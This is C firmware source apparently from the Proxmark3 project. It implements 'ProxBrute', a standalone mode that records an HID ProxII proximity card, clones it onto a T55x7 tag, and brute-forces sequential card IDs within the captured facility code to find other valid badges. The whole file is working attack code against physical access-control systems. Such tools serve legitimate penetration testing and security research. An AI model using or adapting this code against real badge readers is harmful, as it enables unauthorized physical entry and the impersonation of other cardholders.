//-----------------------------------------------------------------------------
// Samy Kamkar, 2011, 2012
// Brad antoniewicz 2011
// Christian Herrmann, 2017
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for LF aka Proxbrute by Brad antoniewicz
//-----------------------------------------------------------------------------
#include "lf_proxbrute.h"

// samy's sniff and repeat routine for LF
void RunMod() {
    StandAloneMode();
    Dbprintf(">>  LF HID proxII bruteforce a.k.a ProxBrute Started (Brad Antoniewicz) <<");
    FpgaDownloadAndGo(FPGA_BITSTREAM_LF);

    uint32_t high[OPTS], low[OPTS];
    int selected = 0;
    int playing = 0;
    int cardRead = 0;

    // Turn on selected LED
    LED(selected + 1, 0);

    for (;;) {
        WDT_HIT();

        // exit from SamyRun,   send a usbcommand.
        if (usb_poll_validate_length()) break;

        // Was our button held down or pressed?
        int button_pressed = BUTTON_HELD(1000);
        SpinDelay(300);

        // Button was held for a second, begin recording
        if (button_pressed > 0 && cardRead == 0) {
            LEDsoff();
            LED(selected + 1, 0);
            LED(LED_RED2, 0);

            // record
            DbpString("[=] starting recording");

            // wait for button to be released
            while (BUTTON_PRESS())
                WDT_HIT();

            /* need this delay to prevent catching some weird data */
            SpinDelay(500);

            CmdHIDdemodFSK(1, &high[selected], &low[selected], 0);
            Dbprintf("[=] recorded %x %x %08x", selected, high[selected], low[selected]);

            LEDsoff();
            LED(selected + 1, 0);
            // Finished recording
            // If we were previously playing, set playing off
            // so next button push begins playing what we recorded
            playing = 0;
            cardRead = 1;
        } else if (button_pressed > 0 && cardRead == 1) {
            LEDsoff();
            LED(selected + 1, 0);
            LED(LED_ORANGE, 0);

            // record
            Dbprintf("[=] cloning %x %x %08x", selected, high[selected], low[selected]);

            // wait for button to be released
            while (BUTTON_PRESS())
                WDT_HIT();

            /* need this delay to prevent catching some weird data */
            SpinDelay(500);

            CopyHIDtoT55x7(0, high[selected], low[selected], 0);
            Dbprintf("[=] cloned %x %x %08x", selected, high[selected], low[selected]);

            LEDsoff();
            LED(selected + 1, 0);
            // Finished recording

            // If we were previously playing, set playing off
            // so next button push begins playing what we recorded
            playing = 0;
            cardRead = 0;
        }

        // Change where to record (or begin playing)
        else if (button_pressed) {
            // Next option if we were previously playing
            if (playing)
                selected = (selected + 1) % OPTS;
            playing = !playing;

            LEDsoff();
            LED(selected + 1, 0);

            // Begin transmitting
            if (playing) {
                LED(LED_GREEN, 0);
                DbpString("[=] playing");
                // wait for button to be released
                while (BUTTON_PRESS())
                    WDT_HIT();

                /* START PROXBRUTE */

                /*
                ProxBrute - brad a. - foundstone

                Following code is a trivial brute forcer once you read a valid tag
                the idea is you get a valid tag, then just try and brute force to
                another priv level. The problem is that it has no idea if the code
                worked or not, so its a crap shoot. One option is to time how long
                it takes to get a valid ID then start from scratch every time.
                */
                if (selected == 1) {
                    DbpString("[=] entering ProxBrute Mode");
                    Dbprintf("[=] current Tag: Selected = %x Facility = %08x ID = %08x", selected, high[selected], low[selected]);
                    LED(LED_ORANGE, 0);
                    LED(LED_RED, 0);
                    for (uint16_t i = low[selected] - 1; i > 0; i--) {
                        if (BUTTON_PRESS()) {
                            DbpString("[-] told to stop");
                            break;
                        }

                        Dbprintf("[=] trying Facility = %08x ID %08x", high[selected], i);
                        CmdHIDsimTAGEx(high[selected], i, 0, 20000);
                        SpinDelay(500);
                    }

                } else {
                    DbpString("[=] RED is lit, not entering ProxBrute Mode");
                    Dbprintf("[=] %x %x %x", selected, high[selected], low[selected]);
                    CmdHIDsimTAGEx(high[selected], low[selected], 0, 20000);
                    DbpString("[=] done playing");
                }

                /*   END PROXBRUTE */


                if (BUTTON_HELD(1000) > 0)
                    goto out;

                /* We pressed a button so ignore it here with a delay */
                SpinDelay(300);

                // when done, we're done playing, move to next option
                selected = (selected + 1) % OPTS;
                playing = !playing;
                LEDsoff();
                LED(selected + 1, 0);
            } else {
                while (BUTTON_PRESS())
                    WDT_HIT();
            }
        }
    }
out:
    DbpString("[=] exiting");
    LEDsoff();
}